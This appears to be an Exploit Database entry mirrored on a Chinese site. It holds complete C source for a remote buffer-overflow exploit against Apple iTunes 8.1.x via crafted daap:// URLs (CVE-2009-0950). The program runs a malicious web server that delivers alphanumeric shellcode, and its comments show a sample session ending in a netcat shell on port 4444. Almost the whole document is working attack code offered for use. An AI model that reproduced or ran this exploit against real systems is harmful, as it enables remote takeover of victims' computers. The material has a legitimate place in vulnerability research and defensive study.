Apple iTunes 8.1.x – ‘daap’ Remote Buffer Overflow

Exploit Database
116 阅读

作者： Simo36

日期： 2010-01-14
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/11138/

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/* iTunes-CVE09-s36.c

* Apple iTunes 8.1.x (daap) Buffer overflow remote exploit (CVE-2009-0950)

* Coded By :

* .:: [ Simo36 ] ::.

* Contact : Overflows@hotmail.com

* His0k4.hlm@gmail.com

* Home :www.sec-r1z.com

* Tested on : Win XP SP/SP3 Frensh , Win2k pro SP4 english

* Thanks To : Ryujin & Stack & r1z

* finally I want to thanks mr ryujin for printable shellcode and jump back .

*----------------------------------------------------------

* C:\Documents and Settings\Administrateur\Bureau\exploit>iTunes-CVE09-s36..exe

* [+] Apple iTunes 8.1.x Buffer overflow remote exploit CVE-2009-0950

* [+] By :Simo36 & His0k4 ( Overflows@hotmail.com )

* [+] Home : www.sec-r1z.com

* [+] Listen on port 80

* [+] Connection accepted from 127.0.0.1:1097

* [x] Sendin welcome information....Done

* [+] sending the evil packet ...[+] Done !

* [+] check port 4444 with netcat

* [+] Connection Closed

*----------------------------------------------------------------

* C:\Documents and Settings\Administrateur\Bureau\exploit>nc -v 196.217.232.130 4444

* sweet-9fc9abcd4 [196.217.232.130] 4444 (?) open

* Windows XP Sweet 5.1 [SP3 v5.1.2600]

* C:\Program Files\Mozilla Firefox>

* Note : This vulnerability can't be exploited with simply return address Because

*it is affected with GS Flag .

* Compiler : Dev-C++ & mingw

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

#include <windows.h>

#include <winsock2.h>

#pragma comment(lib, "ws2_32")

#define Max_BUFF 2037

#define PORT 80

char header1[]=

"<html>\n"

"<head><title>iTunes Remote Exploit</title>\n"

"<script>\n"

" function openiTunes(){document.location.assign('itms://itunes.apple.com/');}\n"

" function prepareStack(){document.location.assign('";

char header2[]=

"');}\n function ownSeh(){document.location.assign('";

char header3[]=

"');}\n function ipwn(){\n"

"prepareStack();\nownSeh();\n }"

"\n function main() {\nopeniTunes();\n"

"setTimeout('ipwn()',20000);\n }\n";

char header4[]=

"</script>\n"

"</head>\n"

"<body onload='main();'>\n"

"<html>\n"

"<head>\n"

"<title></title>\n"

"</head>\n"

"<body style='color: rgb(0, 0, 0);' onload='main();'\n"

" alink='#ee0000' link='#0000ee' vlink='#551a8b'>\n"

"Apple iTunes 8.1.1.10 (daap)\n"

"BOF remote exploit \n"

"<a\n"

" href='http://dvlabs.tippingpoint.com/advisory/TPTI-09-03'>\n"

"CVE-2009-0950</a>\n"

"\n"

"Exploited\n"

"by : Simo36{ Overflows [AT] Hotmail [DOT] com }\n"

"\n"

"www.sec-r1z.com\n"

"based on the code found by Matteo\n"

"Memelli \n"

"\n"

"<h2 align='center'>This exploit works if\n"

"opened from Firefox only!\n"

"</h2>\n"

"\n"

"After exploitation iTunes crashes, you need to kill it from TaskManager\n"

" \n"

"have fun!\n"

" \n"

"\n"

"\n"

"</body>\n"

"</html>\n";

// printable shellcode via EDX

unsigned char shellcode[]=

"VVVVVVVVVVVVVVVVV7RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIOqhDahIoS0"

"5QnaJLS1uQVaeQcdcm2ePESuW5susuPEsuilazJKRmixHykOkOKOCPLKPlUtu"

"tnkRegLLKSLfepx31zOlK2o7hlKqOEpWqZK3ylKwDLKeQHndqo0j9llOt9P3D"

"uW9Q8J4MWqkrJKkDukPTWTq845M5LKQOq4VajKcVLKTLPKlKQOUL6ajK336LL"

"KMY0lWTwle1O3TqiK2DLKaSFPLKQPVllK0p7lLmlK3pUXQNU8LNbnvnjL0PkO"

"8V2Fv3U61xds02U8RWpsVRqO649on0PhjkZMYlekpPKOKfsoMYkUpfna8mgxV"

"b65RJuRIoHPPhHYFiL5lmBwkOzvpSPSV3F3bsg3BsSsScIohPsVRHR1sl2Fcc"

"k9M1nuphOT6zppIWrwKO8VcZ6ppQv5KO8PBHmtNMvNm9QGKON6aCqEkOZpbHZ"

"EbiNfRiSgioiFRpf40TseiohPLSu8KWD9kvPyf7YoxVqEKOxPu6sZpd3VSX1s"

"0mK98ecZRpv9Q9ZlMYkWqzpDmYxbTqO0KCoZKNaRVMkN3r6LJ3NmpzFXNKNKL"

"ksX0rkNls5FkOrURdioXVSk67PRPQsapQCZgqbq0QSesaKOxPaxNMZyEUjnCc"

"KOn6qzKOkOtwKOJpNk67YlMSKtcTyozvrryozp0hXoZnYp1p0SkOXVKOHPA";

// ascii printable jump code (alpha2)

char jump_code[]="\x55\x59\x43\x43\x43\x43\x43\x43\x49\x49\x49\x49\x49\x49\x49\x49"

"\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41"

"\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41"

"\x42\x75\x4a\x49\x5a\x49\x45\x35\x6a\x5a\x4b\x4f\x4b\x4f\x41";

// pop EDX from Stack and Incrasing it

char align_stack[]= "\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"

"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"

"\x61\x61\x61\x61\x61\x54\x5a\x42\x42\x42\x42\x42\x42\x56\x56\x56\x56\x56\x56\x56"//

"\x56\x56\x56";

int main(void){

struct sockaddr_in server,client;

FILE *p;

WSADATA wsa;

SOCKET sock1,sock2;

int res;

char sdinfo[]="200\n\r";

char szRecvBuff[0x100];

char url2[Max_BUFF];

char url1[210];

char payload[7000];

int i=0;

system("cls");

printf("\n[+] Apple iTunes 8.1.x Buffer overflow remote exploit CVE-2009-0950\n\n");

printf("[+] By :\t\tSimo36 & His0k4 ( Overflows@hotmail.com ) \n\n");

printf("[+] Home :\t\t www.sec-r1z.com\n");

if(WSAStartup(MAKEWORD(1 ,1),&wsa) !=0){

printf("[-] WSAStartup error:%d\n", WSAGetLastError());

return;

}

sock1 = socket(AF_INET,SOCK_STREAM,0);

server.sin_family = AF_INET;

server.sin_port= htons(PORT);

server.sin_addr.s_addr=0;

res = bind(sock1,(struct sockaddr *)&server ,sizeof(server));

res = listen(sock1, 100);

printf("[+] Listen on port 80 \n\n");

while(1){

res = sizeof(client);

sock2 = accept(sock1, (struct sockaddr *)&client, &res);

printf("[+] Connection accepted from %s:%d\n\n",

inet_ntoa(client.sin_addr), ntohs(client.sin_port));

printf("[x] Sendin welcome information....");

if(send(sock2,sdinfo,strlen(sdinfo),0) !=-1){

Sleep(1000);

printf("Done\n");

res = recv(sock2, szRecvBuff, sizeof(szRecvBuff), 0);

res=recv(sock2,sdinfo,strlen(sdinfo),0);

szRecvBuff[res-1] = '\x0';

/**** ITMS URL ****/

memset(url1,0x41,strlen(url1));

strcpy(&url1[0],"itms://:");

memset(&url1[8],0x42,200);

strcpy(&url1[208],"/");

// Second url

memset(url2,0x42,strlen(url2));

strcpy(&url2[0],"daap://:");

// some padd

memset(&url2[8],0x41,425);

// align with push esp and pop edx

strcpy(&url2[433],align_stack);

// Shellcode Ready !

strcpy(&url2[496],shellcode);

memset(&url2[1226],0x41,570);

strcpy(&url2[1796],"\x61\x45\x45\x45");

strcpy(&url2[1800],"\x2a\x5e\x21\x67");// Thanks Riyujin for this

strcpy(&url2[1804],"DEEEEEEE");

strcpy(&url2[1812],jump_code);

memset(&url2[1875],0x43,161);

strcpy(&url2[2036],"C");

// building exploit

memset(payload,0x41,7000);

strcpy(&payload[0],header1);

// evil packet is ready now :)

strcpy(&payload[strlen(header1)],url1);

strcpy(&payload[strlen(header1)+strlen(url1)],header2);

strcpy(&payload[strlen(header1)+strlen(url1)+strlen(header2)],url2);

strcpy(&payload[strlen(header1)+strlen(url1)+strlen(header2)+strlen(url2)],header3);

strcpy(&payload[strlen(header1)

+strlen(url1)+strlen(header2)+strlen(url2)+strlen(header3)],header4);

printf("\n[+] sending the evil packet ...");

if(send(sock2,payload,strlen(payload),0) !=-1){

res=recv(sock2,payload,strlen(payload),0);

sleep(100);

closesocket(sock2);

printf("[+] Done ! \n\n");

printf("[+] check port 4444 with netcat \n\n");

printf("[+] Connection Closed\n\n");

}else printf ("[-] Error on sending payload !");

}else printf("Error\n");

exit(0);

}

WSACleanup();

return 0x0;

}